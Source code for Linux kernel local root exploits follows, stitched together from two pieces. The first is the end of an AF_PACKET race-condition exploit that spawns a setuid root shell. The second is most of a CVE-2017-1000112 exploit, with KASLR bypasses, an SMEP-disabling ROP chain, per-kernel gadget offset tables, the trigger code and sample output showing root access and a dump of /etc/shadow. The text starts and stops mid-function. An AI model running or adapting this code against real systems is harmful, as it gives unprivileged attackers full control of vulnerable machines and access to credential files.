    return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void launch_rootshell(void)
{
    int fd;
    char buf[256];
    struct stat s;

    fd = open(SYSCTL_PATH, O_WRONLY);

    if(fd == -1) {
        dprintf("[-] could not open %s\n", SYSCTL_PATH);
        exit(EXIT_FAILURE);
    }

    memset(buf, '\x00', 256);

    readlink("/proc/self/exe", (char *)&buf, 256);

    write(fd, buf, strlen(buf)+1);

    socket(AF_INET, SOCK_STREAM, 132);

    if (stat(buf,&s) == 0 && s.st_uid == 0) {
        dprintf("[+] binary executed by kernel, launching rootshell\n");
        lseek(fd, 0, SEEK_SET);
        write(fd, "/sbin/modprobe", 15);
        close(fd);
        execl(buf, buf, NULL);
    } else {
        dprintf("[-] could not create rootshell\n");
        exit(EXIT_FAILURE);
    }
}

void setup_sandbox() {
    if (unshare(CLONE_NEWUSER) != 0) {
        dprintf("[-] unshare(CLONE_NEWUSER)\n");
        exit(EXIT_FAILURE);
    }

    if (unshare(CLONE_NEWNET) != 0) {
        dprintf("[-] unshare(CLONE_NEWNET)\n");
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char **argv)
{
    int status, pid;
    struct utsname u;
    char buf[512], *f;

    if (getuid() == 0 && geteuid() == 0) {
        chown("/proc/self/exe", 0, 0);
        chmod("/proc/self/exe", 06755);
        exit(0);
    }

    if (getuid() != 0 && geteuid() == 0) {
        setresuid(0, 0, 0);
        setresgid(0, 0, 0);
        execl("/bin/bash", "bash", "-p", NULL);
        exit(0);
    }

    dprintf("linux AF_PACKET race condition exploit by rebel\n");

    dprintf("[.] starting\n");

    dprintf("[.] checking hardware\n");
    check_procs();
    dprintf("[~] done, hardware looks good\n");

    dprintf("[.] checking kernel version\n");
    detect_versions();
    dprintf("[~] done, version looks good\n");

#if ENABLE_KASLR_BYPASS
    dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
    KERNEL_BASE = get_kernel_addr();
    dprintf("[~] done, kernel text:     %lx\n", KERNEL_BASE);
#endif

    dprintf("[.] proc_dostring:         %lx\n", PROC_DOSTRING);
    dprintf("[.] modprobe_path:         %lx\n", MODPROBE_PATH);
    dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
    dprintf("[.] set_memory_rw:         %lx\n", SET_MEMORY_RW);

    pid = fork();
    if (pid == 0) {
        dprintf("[.] setting up namespace sandbox\n");
        setup_sandbox();
        dprintf("[~] done, namespace sandbox set up\n");
        wrapper();
        exit(0);
    }

    waitpid(pid, &status, 0);

    launch_rootshell();
    return 0;
}
            
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on:
// - Ubuntu trusty 4.4.0 kernels
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
// - Linux Mint rosa 4.4.0 kernels
// - Linux Mint sarah 4.8.0 kernels
// - Zorin OS 12.1 4.4.0-39 kernel
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn 
// [.] starting
// [.] checking kernel version
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, version looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text:   ffffffffae400000
// [.] commit_creds:        ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
// ---
// Updated by <bcoles@gmail.com>
// - support for distros based on Ubuntu kernel
// - additional kernel targets
// - additional KASLR bypasses
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-1000112

#define _GNU_SOURCE

#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>

#define DEBUG

#ifdef DEBUG
#	define dprintf printf
#else
#	define dprintf
#endif

#define ENABLE_KASLR_BYPASS		1
#define ENABLE_SMEP_BYPASS		1

char* SHELL = "/bin/bash";

// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE =		0xffffffff81000000ul;

// Will be overwritten by detect_kernel().
int kernel = -1;

struct kernel_info {
	const char* distro;
	const char* version;
	uint64_t commit_creds;
	uint64_t prepare_kernel_cred;
	uint64_t xchg_eax_esp_ret;
	uint64_t pop_rdi_ret;
	uint64_t mov_dword_ptr_rdi_eax_ret;
	uint64_t mov_rax_cr4_ret;
	uint64_t neg_rax_ret;
	uint64_t pop_rcx_ret;
	uint64_t or_rax_rcx_ret;
	uint64_t xchg_eax_edi_ret;
	uint64_t mov_cr4_rdi_ret;
	uint64_t jmp_rcx;
};

struct kernel_info kernels[] = {
	{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
	{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
	{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
	{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
	{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
	{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
	{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
	{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
	{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
	{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
	{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
	{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
	{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
	{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
	{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
	{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
	{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
	{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
	{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
	{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
	// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
	// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
	{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
	{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};

// Used to get root privileges.
#define COMMIT_CREDS			(KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED		(KERNEL_BASE + kernels[kernel].prepare_kernel_cred)

// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret 
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET		(KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET			(KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET	(KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET			(KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET			(KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET			(KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET			(KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET		(KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET			(KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX				(KERNEL_BASE + kernels[kernel].jmp_rcx)

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

void get_root(void) {
	((_commit_creds)(COMMIT_CREDS))(
	    ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}

// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *

uint64_t saved_esp;

// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
	asm volatile ("					\n\
	payload:					\n\
		movq %%rbp, %%rax			\n\
		movq $0xffffffff00000000, %%rdx		\n\
		andq %%rdx, %%rax			\n\
		movq %0, %%rdx				\n\
		addq %%rdx, %%rax			\n\
		movq %%rax, %%rsp			\n\
		call get_root				\n\
		ret					\n\
	" : : "m"(saved_esp) : );
}

void payload();

#define CHAIN_SAVE_ESP				\
	*stack++ = POP_RDI_RET;			\
	*stack++ = (uint64_t)&saved_esp;	\
	*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;

#define SMEP_MASK 0x100000

#define CHAIN_DISABLE_SMEP			\
	*stack++ = MOV_RAX_CR4_RET;		\
	*stack++ = NEG_RAX_RET;			\
	*stack++ = POP_RCX_RET;			\
	*stack++ = SMEP_MASK;			\
	*stack++ = OR_RAX_RCX_RET;		\
	*stack++ = NEG_RAX_RET;			\
	*stack++ = XCHG_EAX_EDI_RET;		\
	*stack++ = MOV_CR4_RDI_RET;

#define CHAIN_JMP_PAYLOAD                     \
	*stack++ = POP_RCX_RET;               \
	*stack++ = (uint64_t)&payload;        \
	*stack++ = JMP_RCX;

void mmap_stack() {
	uint64_t stack_aligned, stack_addr;
	int page_size, stack_size, stack_offset;
	uint64_t* stack;

	page_size = getpagesize();

	stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
	stack_addr = stack_aligned - page_size * 4;
	stack_size = page_size * 8;
	stack_offset = XCHG_EAX_ESP_RET % page_size;

	stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
			MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if (stack == MAP_FAILED || stack != (void*)stack_addr) {
		dprintf("[-] mmap()\n");
		exit(EXIT_FAILURE);
	}

	stack = (uint64_t*)((char*)stack_aligned + stack_offset);

	CHAIN_SAVE_ESP;
	CHAIN_DISABLE_SMEP;
	CHAIN_JMP_PAYLOAD;
}

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

struct ubuf_info {
	uint64_t callback;	// void (*callback)(struct ubuf_info *, bool)
	uint64_t ctx;		// void *
	uint64_t desc;		// unsigned long
};

struct skb_shared_info {
	uint8_t nr_frags;	// unsigned char
	uint8_t tx_flags;	// __u8
	uint16_t gso_size;	// unsigned short
	uint16_t gso_segs;	// unsigned short
	uint16_t gso_type;	// unsigned short
	uint64_t frag_list;	// struct sk_buff *
	uint64_t hwtstamps;	// struct skb_shared_hwtstamps
	uint32_t tskey;		// u32
	uint32_t ip6_frag_id;	// __be32
	uint32_t dataref;	// atomic_t
	uint64_t destructor_arg; // void *
	uint8_t frags[16][17];	// skb_frag_t frags[MAX_SKB_FRAGS];
};

struct ubuf_info ui;

void init_skb_buffer(char* buffer, unsigned long func) {
	struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
	memset(ssi, 0, sizeof(*ssi));

	ssi->tx_flags = 0xff;
	ssi->destructor_arg = (uint64_t)&ui;
	ssi->nr_frags = 0;
	ssi->frag_list = 0;

	ui.callback = func;
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define SHINFO_OFFSET 3164

void oob_execute(unsigned long payload) {
	char buffer[4096];
	memset(&buffer[0], 0x42, 4096);
	init_skb_buffer(&buffer[SHINFO_OFFSET], payload);

	int s = socket(PF_INET, SOCK_DGRAM, 0);
	if (s == -1) {
		dprintf("[-] socket()\n");
		exit(EXIT_FAILURE);
	}

	struct sockaddr_in addr;
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(8000);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	if (connect(s, (void*)&addr, sizeof(addr))) {
		dprintf("[-] connect()\n");
		exit(EXIT_FAILURE);
	}

	int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
	int rv = send(s, buffer, size, MSG_MORE);
	if (rv != size) {
		dprintf("[-] send()\n");
		exit(EXIT_FAILURE);
	}

	int val = 1;
	rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
	if (rv != 0) {
		dprintf("[-] setsockopt(SO_NO_CHECK)\n");
		exit(EXIT_FAILURE);
	}

	send(s, buffer, 1, 0);

	close(s);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(const char* file, char* buffer, int max_length) {
	int f = open(file, O_RDONLY);
	if (f == -1)
		return -1;
	int bytes_read = 0;
	while (true) {
		int bytes_to_read = CHUNK_SIZE;
		if (bytes_to_read > max_length - bytes_read)
			bytes_to_read = max_length - bytes_read;
		int rv = read(f, &buffer[bytes_read], bytes_to_read);
		if (rv == -1)
			return -1;
		bytes_read += rv;
		if (rv == 0)
			return bytes_read;
	}
}

#define LSB_RELEASE_LENGTH 1024

void get_distro_codename(char* output, int max_length) {
	char buffer[LSB_RELEASE_LENGTH];
	char* path = "/etc/lsb-release";
	int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
	if (length == -1) {
               dprintf("[-] open/read(%s)\n", path);
               exit(EXIT_FAILURE);
	}
	const char *needle = "DISTRIB_CODENAME=";
	int needle_length = strlen(needle);
	char* found = memmem(&buffer[0], length, needle, needle_length);
	if (found == NULL) {
		dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
		exit(EXIT_FAILURE);
	}
	int i;
	for (i = 0; found[needle_length + i] != '\n'; i++) {
		if (i >= max_length) {
			exit(EXIT_FAILURE);
		}
		if ((found - &buffer[0]) + needle_length + i >= length) {
			exit(EXIT_FAILURE);
		}
		output[i] = found[needle_length + i];
	}
}

struct utsname get_kernel_version() {
	struct utsname u;
	int rv = uname(&u);
	if (rv != 0) {
		dprintf("[-] uname()\n");
		exit(EXIT_FAILURE);
	}
	return u;
}

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

#define DISTRO_CODENAME_LENGTH 32

void detect_kernel() {
	char codename[DISTRO_CODENAME_LENGTH];
	struct utsname u;

	u = get_kernel_version();

	if (strstr(u.machine, "64") == NULL) {
		dprintf("[-] system is not using a 64-bit kernel\n");
		exit(EXIT_FAILURE);
	}

	if (strstr(u.version, "-Ubuntu") == NULL) {
		dprintf("[-] system is not using an Ubuntu kernel\n");
		exit(EXIT_FAILURE);
	}

	if (strstr(u.version, "14.04.1")) {
		strcpy(&codename[0], "trusty");
	} else if (strstr(u.version, "16.04.1")) {
		strcpy(&codename[0], "xenial");
	} else {
		get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);

		// Linux Mint kernel release mappings
		if (!strcmp(&codename[0], "qiana"))
			strcpy(&codename[0], "trusty");
		if (!strcmp(&codename[0], "rebecca"))
			strcpy(&codename[0], "trusty");
		if (!strcmp(&codename[0], "rafaela"))
			strcpy(&codename[0], "trusty");
		if (!strcmp(&codename[0], "rosa"))
			strcpy(&codename[0], "trusty");
		if (!strcmp(&codename[0], "sarah"))
			strcpy(&codename[0], "xenial");
		if (!strcmp(&codename[0], "serena"))
			strcpy(&codename[0], "xenial");
		if (!strcmp(&codename[0], "sonya"))
			strcpy(&codename[0], "xenial");
	}

	int i;
	for (i = 0; i < ARRAY_SIZE(kernels); i++) {
		if (strcmp(&codename[0], kernels[i].distro) == 0 &&
		    strcmp(u.release, kernels[i].version) == 0) {
			dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
			kernel = i;
			return;
		}
	}

	dprintf("[-] kernel version not recognized\n");
	exit(EXIT_FAILURE);
}

#define PROC_CPUINFO_LENGTH 4096

// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
	char buffer[PROC_CPUINFO_LENGTH];
	char* path = "/proc/cpuinfo";
	int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
	if (length == -1) {
		dprintf("[-] open/read(%s)\n", path);
		exit(EXIT_FAILURE);
	}
	int rv = 0;
	char* found = memmem(&buffer[0], length, "smep", 4);
	if (found != NULL)
		rv += 1;
	found = memmem(&buffer[0], length, "smap", 4);
	if (found != NULL)
		rv += 2;
	return rv;
}

void check_smep_smap() {
	int rv = smap_smep_enabled();
	if (rv >= 2) {
		dprintf("[-] SMAP detected, no bypass available\n");
		exit(EXIT_FAILURE);
	}
#if !ENABLE_SMEP_BYPASS
	if (rv >= 1) {
		dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
		exit(EXIT_FAILURE);
	}
#endif
}

// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

bool mmap_syslog(char** buffer, int* size) {
	*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
	if (*size == -1) {
		dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
		return false;
	}

	*size = (*size / getpagesize() + 1) * getpagesize();
	*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
				   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

	*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
	if (*size == -1) {
		dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
		return false;
	}

	return true;
}

unsigned long get_kernel_addr_trusty(char* buffer, int size) {
	const char* needle1 = "Freeing unused";
	char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL) return 0;

	int start = 0;
	int end = 0;
	for (end = start; substr[end] != '-'; end++);

	const char* needle2 = "ffffff";
	substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
	if (substr == NULL) return 0;

	char* endptr = &substr[16];
	unsigned long r = strtoul(&substr[0], &endptr, 16);

	r &= 0xffffffffff000000ul;

	return r;
}

unsigned long get_kernel_addr_xenial(char* buffer, int size) {
	const char* needle1 = "Freeing unused";
	char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL) {
		return 0;
	}

	int start = 0;
	int end = 0;
	for (start = 0; substr[start] != '-'; start++);
	for (end = start; substr[end] != '\n'; end++);

	const char* needle2 = "ffffff";
	substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
	if (substr == NULL) {
		return 0;
	}

	char* endptr = &substr[16];
	unsigned long r = strtoul(&substr[0], &endptr, 16);

	r &= 0xfffffffffff00000ul;
	r -= 0x1000000ul;

	return r;
}

unsigned long get_kernel_addr_syslog() {
	unsigned long addr = 0;
	char* syslog;
	int size;

	dprintf("[.] trying syslog...\n");

	if (!mmap_syslog(&syslog, &size))
		return 0;

	if (strcmp("trusty", kernels[kernel].distro) == 0)
		addr = get_kernel_addr_trusty(syslog, size);
	if (strcmp("xenial", kernels[kernel].distro) == 0)
		addr = get_kernel_addr_xenial(syslog, size);

	if (!addr)
		dprintf("[-] kernel base not found in syslog\n");

	return addr;
}

// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_kallsyms() {
	FILE *f;
	unsigned long addr = 0;
	char dummy;
	char sname[256];
	char* name = "startup_64";
	char* path = "/proc/kallsyms";
